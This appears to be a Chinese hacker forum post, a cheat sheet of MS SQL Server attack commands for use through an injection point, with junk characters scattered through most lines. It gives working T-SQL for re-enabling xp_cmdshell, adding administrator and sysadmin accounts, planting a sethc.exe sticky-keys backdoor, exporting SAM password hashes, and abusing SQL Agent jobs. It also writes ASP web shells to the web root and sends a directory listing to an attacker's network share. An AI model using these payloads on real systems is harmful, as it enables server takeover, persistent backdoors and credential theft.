1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号- ?3 p: _% l: Q; i
恢复方法:查询分离器连接后,0 A$ D, S$ b8 q
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int J. d* z8 ?. F8 x7 T
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 6 _4 C# p4 d) K# \8 ` w
然后按F5键命令执行完毕
& @) ]8 A. F4 C& m. |/ i. T
& z8 `2 p, [* p2 i6 `# @% C& @6 s( f2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。). R3 X3 R% P0 m0 A6 U f; o
恢复方法:查询分离器连接后,
]+ ]4 Z. x2 T( U2 J第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
' M2 p2 T& O6 V) |# a第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 \ y9 B, {& [5 X然后按F5键命令执行完毕
# x2 D( E' H+ o* D1 M& K5 ?
5 ~( O r9 Z' J% \, e V3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
) W1 e, P* k% [; H4 q! e4 n% L恢复方法:查询分离器连接后,5 q! l2 L; {0 `+ y; [ g9 x% e* a
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'- n; V& g6 ^% M8 y2 T/ F9 @/ ?
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
$ L0 F2 e) F c% k然后按F5键命令执行完毕
+ o4 ] I$ y8 a( Z3 p" S, Y
' n2 l( ~ ?' Q4 终极方法.# l" ]" c4 w( D2 |
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:4 J6 B. j6 L* g5 V7 I' [
查询分离器连接后,
- Q$ F" J+ H1 p6 z: R/ _2000servser系统:' C5 F' U% P6 b `% H. M5 E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
m' P! L$ G4 O1 u
/ x: P k. s) ]" q5 O8 xdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% X5 q7 s" R; f+ ~( f. k) t; z1 i; k- {
xp或2003server系统:
9 u& o0 i; E9 \. C$ h [' E* x; U! { R& e$ S A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'+ I: ?& [3 u, E, @$ w: t5 i2 e
0 i: q' h+ @9 E* f6 K. jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'! Q6 |' J/ N( |1 A
4 _2 ]- I' T+ k9 e" ]* R
3 k$ E/ T* b; m2 M) ?3 r五个SHIFT$ _; |4 X. N( s' c
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
+ J% \7 Z7 o0 l9 ^4 V5 h
0 z/ Y- s5 ] ]declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2 E7 H, e% I8 @+ o/ n) s
; [7 Y+ _* X% G/ I+ Pxp_cmdshell执行命令另一种方法" D3 K) C, [' g3 D: o9 F# B9 k5 `
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 4 o2 [5 l$ W$ T4 h* I' ^! q
% [3 V: a; a# V/ g$ Z
判断存储扩展是否存在
& O/ T9 M5 g! @% ~% [Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
$ K0 q8 g1 V% h6 }$ \返回结果为1就OK0 ~5 R( j! |/ J8 B9 Y
/ K; Z# {, t1 O. L% G: W9 m
" E' \. ^3 Q3 z) g9 J4 J1 N上传xplog70.dll恢复xp_cmdshell语句:
% O% D: }- |: x5 {sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
9 q" E! z& C6 _4 ~+ A; C7 w+ `; ?1 K P
否则上传xplog7.0.dll2 s; ]6 f; V# `, z) t4 ^1 o6 s( ^4 P
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
: A; A( ~+ v4 L) }6 g# Z! v9 G
) Y P+ o' V- n% D6 |# G
/ E: ?) c2 c+ w4 I# X: J4 _4 x' m) q9 T9 L+ I# f) ]( D
首先开启沙盘模式:
' }5 A2 Y1 |4 q: _( P. T3 texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" U6 r! g9 }- z3 f5 I8 t; U; o% V3 A8 s8 [4 ]5 R( ]- w
然后利用jet.oledb执行系统命令" r6 B1 ~1 g3 _" L2 ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')) d. S) }: l& n8 D9 J
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
6 d3 E' u* g. D) {* ` ^; L
& I* B! `1 S# h7 c/ [: E, e0 s0 u* b/ ]8 u3 B% y8 c9 T
* z) w$ _# j9 T& t
恢复过程sp_addextendedproc 如下: . I/ l1 {0 X! i0 n" q4 F3 e
create procedure sp_addextendedproc --- 1996/08/30 20:13 3 x( H9 k( {* x! r% Z/ n
@functname nvarchar(517),/* (owner.)name of function to call */ 4 o* e3 F" p0 A0 J
@dllname varchar(255)/* name of DLL containing function */ " {5 [( m8 ~4 ^( F) U; ?
as 8 a" {3 ? o% Z( b/ L! A& h
set implicit_transactions off ' e( `: k6 [3 \
if @@trancount > 0 1 }2 k& N% c6 z5 z5 _( E; R* j* o
begin 1 O5 X8 w# S( u4 M/ N/ G' D8 {$ Y
raiserror(15002,-1,-1,'sp_addextendedproc')
. S F* H4 z; C9 D0 J4 u1 F( ^return (1) : {+ _1 C3 J( j* f4 ]
end
* q- @8 ?* ]2 S$ tdbcc addextendedproc( @functname, @dllname)
% `6 i$ t$ B' _. P5 R7 h' breturn (0) -- sp_addextendedproc # h# l3 c+ Q9 U( G
GO
4 t9 V$ A5 J4 S" w# k V4 s" @( ~3 o) E' _1 B4 u' J
y( W$ O& G, {, F m, o
: Q$ X* e3 B* ?0 w0 u导出管理员密码文件
, e# q$ r* V; Y6 H& V$ qsa默认可以读sam键.应该。
4 _0 a. _% O+ @+ ]7 v* j7 Xreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
* C$ x( s( M; b/ D, Unet user administrator test
* @* S/ e/ f' k/ ]2 O' ?) U! z- q3 C用administrator登陆.
/ R$ \$ \3 a4 Y) H( Q0 D4 c: n* W用完机器后% Y: N( Y9 ?6 P$ t/ P
reg import c:\test.reg
: @9 p0 d3 D: {0 e根本不用克隆.& o2 r: Q4 d! s# M7 S2 u' U+ m
找到对应的sid.
+ i: b2 q4 V W G, S
! I* C9 m5 |3 _. c3 @3 y/ R0 R0 H2 f+ Z4 n; n% }1 c t& w8 z6 k) J
0 [7 K1 Z& C1 {$ }2 X7 J. m
恢复所有存储过程
& n. ~$ z# ]( k3 B9 e- muse master ! F- D/ V, J0 t* I S
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
# s; F* K3 Q8 `exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' $ H; r' }' ?' A' W4 W h
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
& G* S$ N5 O: p! b- ?, a& W' yexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
2 k7 T; m0 Z( R. \$ ~9 i1 [exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
; @6 x2 N0 S: C0 fexec sp_addextendedproc sp_OACreate,'odsole70.dll'
0 T$ x6 V5 f1 Wexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 8 ~; s. l. w8 l5 h6 t8 @$ [
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 7 }) \; f$ E! t# n# f7 ~
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' $ {; l/ N* [; q2 x, U: S" _
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
& c; S# E1 P. R! |exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
& i! h# D6 R; N) yexec sp_addextendedproc sp_OAStop,'odsole70.dll'
) r" E1 _; ?# j/ j) K! `exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
/ L# e& ^6 A. P" D" G4 Y5 pexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 9 }( _; m' D) V( S( }/ Y# U
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' $ D' O. T" P# Q) O
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
$ @" n# n8 }" W+ Zexec sp_addextendedproc xp_regread,'xpstar.dll'
/ _1 [ A$ Z N7 o2 Pexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' . y& }, M6 J. a8 ?9 Y1 d
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 9 I8 z) q6 l# n$ L& v+ y& W- x: R
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'& N9 r' J( I. O4 q' n4 N; d; b
9 u- j a1 S/ | T" T. R+ x5 j* p
% `& ]1 D7 ` G建立读文件的存储过程, O" i d! U" o
Create proc sp_readTextFile @filename sysname$ G0 M& t# h" O
as
% U% Q- P, `; p( G [. f# w, x2 m) U/ R8 I& ~
begin
& _8 ~4 t1 b, x% r8 X4 E; n set nocount on
( d S/ [* b! O Create table #tempfile (line varchar(8000))
/ z3 V0 \2 ?$ v+ x' o exec ('bulk insert #tempfile from "' + @filename + '"')
' P6 e6 G$ t) a: @2 ? select * from #tempfile8 C+ k9 R8 M- ~3 v4 z! j3 ?* y
drop table #tempfile
7 @& H8 n8 C5 o' Q _End
* I& @ F4 F2 b) P% C* h% O' d; p7 h& {3 {' P0 B
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件3 j& c; W" ^6 g: F- N& W
查看登录用户% i! d6 ]: C. s& T: l2 B7 M
Select * from sysxlogins, K, O# N2 W' a$ k
2 k: k7 R, y& @- V, E6 f1 R) L4 Y) ?把文件内容读取到表中
4 R: @1 }# J7 F- [BULK INSERT tmp from "c:\test.txt"3 Y0 E, x8 V+ ~9 d
dElete from 表名 清理表里的内容% ~* Y* g* }: |- ?; [' J
create table b_test(fn nvarchar(4000));建一个表,字段为fn
3 w: \. p b' Y+ z2 y. v+ u
. o# ?2 \; j+ p7 T* A1 O; A' h7 g- h( q7 w
加sa用户. p1 y, k$ n {
exec master.dbo.sp_addlogin user,pass;
/ z' c+ ~/ `8 k( @# W& H& s$ z7 Uexec master.dbo.sp_addsrvrolemember user,sysadmin& e, ~. w3 R4 o' L
4 m, t( c$ @" z) j7 t' N J0 x4 {9 ?$ W0 i: [& v2 \: L
^; A- [8 C5 R, O2 Q读文件代码
h# m4 x6 Y% Ldeclare @o int, @f int, @t int, @ret int
( I3 t$ G0 Y7 j; G. ]declare @line varchar(8000)0 m4 v, f' u1 I5 C: j; M$ ~% O
exec sp_oacreate 'scripting.filesystemobject', @o out, k! X9 X1 J- h6 f
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
- K; a$ x( _9 U% }" e) W, `exec @ret = sp_oamethod @f, 'readline', @line out. [+ q2 h3 t; B7 n, ?: W% h
while( @ret = 0 )1 }0 t8 b+ ?5 X$ N% p6 U& h d
begin. B+ z4 @. K8 [) c
print @line
7 o( S o, g+ Q. Jexec @ret = sp_oamethod @f, 'readline', @line out
* ]: M: A* D4 W+ I. D7 i% nend
& t, Q; H. m% p* y# Y8 a( G& k# S/ ^+ Z0 \+ z7 O1 v
, |1 y3 o# K1 j. J: }写文件代码:
X( F3 @% a/ W- X( odeclare @o int, @f int, @t int, @ret int+ _- Z& w, v6 C( |) }
exec sp_oacreate 'scripting.filesystemobject', @o out9 l$ N% E* r9 E5 n: x' M
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1/ N) t3 I- W7 q f; O2 t! G0 R5 v3 B7 B
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
1 G/ y2 q6 k: a& F/ F2 ~9 n0 B" I$ l0 s p$ V$ Q c! J
0 X6 ~* O. a6 O' u, l5 G* H
添加lake2 shell/ p$ `/ S z( y) ]" e& B
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'/ p' i) f' v7 i& o# E0 `. g
sp_dropextendedproc xp_lake22 }0 Q3 |7 s4 R0 _# l1 h! i$ m: s
EXEC xp_lake2 'net user'
% l: K7 b, B- s# o G" E1 w
4 S. V# l3 E8 \; [( h, ~; |: s1 E$ Z; E: ?+ j
得到硬盘文件信息
; P0 G( k" X7 U7 V$ Z/ @2 E--参数说明:目录名,目录深度,是否显示文件 {- ~% n# s2 s. o7 |5 T
execute master..xp_dirtree 'c:' 8 U) Q! A' I1 }6 O _% ~8 \
execute master..xp_dirtree 'c:',1
& ?) B+ G U2 G( M* I# [% f# E- h# U6 D* bexecute master..xp_dirtree 'c:',1,1
* `4 G/ k5 T% Z u" L) f
/ y1 g3 ~) q7 M6 e# p
. _: o* D& \1 z) g5 N读serv-u配置信息
+ x/ Z. s) r' L/ {- J$ \+ x0 Iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'/ t4 ~4 n8 h! x
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini': \0 c0 S2 |; c- ? w
% y' {0 j9 N: r) z L通过xp_regwrite写SHIFT后门
- w2 l- O- V0 W# S0 L' O) j+ m7 gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
6 o2 @- p6 p: L+ |. b$ c
( Y) P2 Z! v. }/ m) D7 }) N9 h* Z9 T& h# l {5 `
6 b& f; J1 m4 ]找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';, I: F0 l& z7 n& H; C9 y+ k! w- J1 s7 c: r
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
; Y- {; |) @1 d. s: `5 i3 B4 b% Q8 I0 w+ b! W
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'; j u; O. r5 P7 U" [7 E: _( F
+ C2 h: D# {; h2 B( m, M( r
% n$ D+ z8 [$ ]: G$ v+ x
7 f/ D2 ? G+ n1 S8 y' }/ p5 _sql server 2005下开启xp_cmdshell的办法
4 X: j" L- G& S
7 p4 t6 F3 G& H" mEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
! j* ]/ L0 J# W+ D1 c4 @3 d/ B+ g, {0 T- E( n
SQL2005开启'OPENROWSET'支持的方法:
0 a. n, j0 K) v) I% D* U* R. w2 M. d, M
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
0 I+ {( {) Z" f* U3 y
0 H7 V! O+ A8 f8 |7 wSQL2005开启'sp_oacreate'支持的方法:/ [3 e4 Y: T: C4 a9 a& \" b% N
1 s: K" q5 W6 X) i. `% K2 K7 P7 H/ Mexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
_+ l* H; _2 ]1 ~7 }" M/ f4 P! ?2 \! {
5 n3 A7 v; d3 v {, L
, f/ }' D0 A' V9 v. {- h
4 U3 r/ R9 x3 K
" o' ~/ Q% a) H3 O
: x2 i5 r1 b" d7 [+ C" q) D$ W2 B" f; `- s# `+ r
4 z2 j% C4 _, q; X
9 h1 y1 s8 y" l* X5 z
3 Q; \5 r7 q! F. w- ^' l2 Y
8 J9 F- ~7 h g# U1 C; z+ V
& ?5 a7 z3 C5 a, H! h0 x" D& [ C$ u
3 |) ^3 q2 d p$ g7 i8 J# E! b! O
2 A; n1 l4 R3 Q* W* }' h+ A8 S; F% E0 a% `# c
; J+ d. n" S& o; c5 y
% \. _8 X/ i. Z s, _% S- m. p g
. x0 j$ c* d: a8 i& v9 w
! e. ]1 N- }8 R* |2 l! o7 h1 Z' K
* f0 R1 d' g3 I, t$ H以下方面不知道能不能成功暂且留下研究哈:
- V3 V% P* T( o4 r# d4)" Y" D& _$ ~8 x8 f- G, f4 y
use msdb; --这儿不要是master哟- ~0 s3 W- x/ m$ d. O
exec sp_add_job @job_name= czy82 ;
7 d/ O% Y& h6 W2 f) v+ G7 ]exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;/ x$ k7 @, u$ h% A! `" G$ f
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
, {- g& C F+ n: d0 Jexec sp_start_job @job_name= czy82 ;
v [+ \4 d3 A6 a& h; ]" v V: q1 S. k7 c- N( h
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以8 I' ]* \' A5 V6 Q& q0 m
执行tsql语句了. a+ J. H* d6 @. R" m" X8 a" v' F1 B3 V) i
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名% v. {; W1 ?: |9 F7 L
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧); u# V: C. p7 l. ?
net start SQLSERVERAGENT
. f6 o) M2 x. @9 T% r$ c! E* X5 Z4 i& W4 k
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
) @$ G- d$ f4 F5 `9 k; ^4 VUSE msdb
7 ~# E- }9 G3 X, LEXEC sp_add_job @job_name = GetSystemOnSQL ,
+ C5 e" K2 E! ?5 R* Q@enabled = 1,! ^; e7 ?+ h/ V, A
@description = This will give a low privileged user access to
0 L. w/ h: b9 h/ k# m4 t5 oxp_cmdshell ,
C) b0 G" h' u" w s1 G@delete_level = 1
2 Y' }9 g. k, ?$ y( TEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
& |" ?3 E0 X0 h# R# E8 s# \3 ^ b- S@step_name = Exec my sql ,
6 |6 e% l) ]8 s; K@subsystem = TSQL ,7 s, l+ C& |) n& X; E
@command = exec master..xp_execresultset N select exec
! |# A6 p' ^+ w3 qmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
0 t K4 n% E' m h3 M% nEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
+ Y" L' a. G, D3 L; J9 f4 C! c@server_name = 你的SQL的服务器名
' {# O: E. o+ c0 M) D0 pEXEC sp_start_job @job_name = GetSystemOnSQL
. q1 b8 Q$ L/ {! e
; S4 |# X$ Y) h3 P9 B6 l' u不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以, h- r2 d/ I4 K: v4 M% I
才让我们可以以public执行xp_cmdshell
7 Y( ?1 ~- W2 j' c3 f$ f. O e
* f+ f# ]& m0 Y2 K, x# _( i1 x5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)$ S2 t& o& h2 i, l) N1 V B- ], q! L1 g; v
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29687 ^- x% P* J% F' g' q
% D3 I; g' v0 l+ B1 M( o( EUSE msdb
: s2 J1 F0 t PEXEC sp_add_job @job_name = ArbitraryFilecreate ,& r5 v' G5 U; S+ ^ C; ^
@enabled = 1,
% l0 ~5 K' _- e$ q@description = This will create a file called c:\sqlafc123.txt ,
/ L: _: J, A$ x# |6 {; D@delete_level = 1- W3 |1 @, I3 ~4 @' r
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,5 E1 I& Q0 \ z6 ]0 Z
@step_name = SQLAFC ,9 D# S9 \* d+ j
@subsystem = TSQL ,
' b8 u/ T: C, x: n@command = select hello, this file was created by the SQL Agent. ,
$ e, H o, P- B' R9 Q+ c5 O7 H" R+ @- x@output_file_name = c:\sqlafc123.txt
) A e* N) W! zEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,) U" p& `: z6 R3 F: p9 m
@server_name = SERVER_NAME ' J* _. E8 L6 O& I, }. M4 M
EXEC sp_start_job @job_name = ArbitraryFilecreate q' |; c' H4 F
& G' x7 m5 b+ o% _/ e) E7 H( B5 f
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
$ }4 r, j: r {5 q4 a) i% G8 ?& w! g
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19/ w) A" q! e8 \+ v
----------------------------------------------1 I1 e2 C! U9 X1 v M0 q2 O
hello, this file was created by the SQL Agent.
7 B) j- D: Q5 I! w! ?$ a" H$ d" c; ?" |9 M
(1 ?????)8 o$ v+ ?. s( k0 N2 Z. D' G
! {+ {! n$ H' c, G1 }所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员! c1 r/ ]# h# z7 \
命令的vbs文件到启动目录!9 p& b8 {; _( ~9 w* ^; z! |4 _, x1 A
& P: j4 O$ R9 ^. p' p6)关于sp_makewebtask(可以写任意内容任意文件名的文件)8 l) H( P" P3 V) E& b" d
关于sp_MScopyscriptfile 看下面的例子( H5 f; Q5 V; z! u# T4 C$ ]
declare @command varchar(100)
}7 P2 i! P" c( n: L+ Wdeclare @scripfile varchar(200) . X8 ^ q, s! a2 M8 P0 J
set concat_null_yields_null off
3 b! p. f* e$ m# z' n0 dselect @command= dir c:\ > "\\attackerip\share\dir.txt" , P6 _0 g4 L: R q$ A* ]' p/ Z( o
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
( O! ]" r1 D8 j( l3 nexec sp_MScopyscriptfile @scripfile , . B2 h H. X; m
$ b& j& D+ N2 R& g, _* P
这两个东东都还在测试试哟
7 V, t, x7 q% y) s让MSSQL的public用户得到一个本机的web shell
; \& U, ~; @( r, i+ [3 }5 s( d
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,$ I5 i, P6 E; E* ^: Y
--@query= select <img src=vbscript:msgbox(now())>
. u. @$ g4 [( M- r" ?- a1 C--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ) L1 [3 y3 } H- V
@query= select % u" T# `' R0 ^6 r. r; |) X$ w& R7 _
<%On Error Resume Next
6 R, U0 p! p5 Q( gSet oscript = Server.createObject("wscript.SHELL")
4 l( d3 v; ]6 V D1 P0 u: WSet oscriptNet = Server.createObject("wscript.NETWORK") / T: ]6 T$ b4 m
Set oFileSys = Server.createObject("scripting.FileSystemObject")
- U- M: C2 d% D, S5 PszCMD = Request.Form(".CMD") , Q( u* w- f8 l( ]9 S. F
If (szCMD <>"")Then ! l0 W6 \* k. `( w: X8 ~; D
szTempFile = "C:\" & oFileSys.GetTempName() 6 ~% E Z% c( J" Q
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
3 C/ r/ z2 C8 x2 ]1 X1 q; {* mSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) % h. \1 T/ P# e2 H4 G9 F- ]
End If %>
( c' d. c8 P4 ^! O* x<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
) p+ P1 b7 B; s* c$ h1 \<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 1 ^5 X9 ~" L6 f
</FORM>< RE> * U, i/ ]% w) F- H
<% If (IsObject(oFile))Then ( P- F* n& l) M( n9 U) ]9 `; z
On Error Resume Next " _$ I4 A* j" ^/ U9 [/ o
Response.Write Server.HTMLEncode(oFile.ReadAll) " ~& F, c' I3 R$ l8 r
oFile.Close 0 u. w, p; Z+ \! I. f
Call oFileSys.deleteFile(szTempFile, True)
% z8 k. T+ G5 M+ B0 \2 eEnd If%>
4 j5 H2 J% E4 O: @9 R% O& c/ u</BODY></HTML> ( y% X1 d( _! [( j# ]
|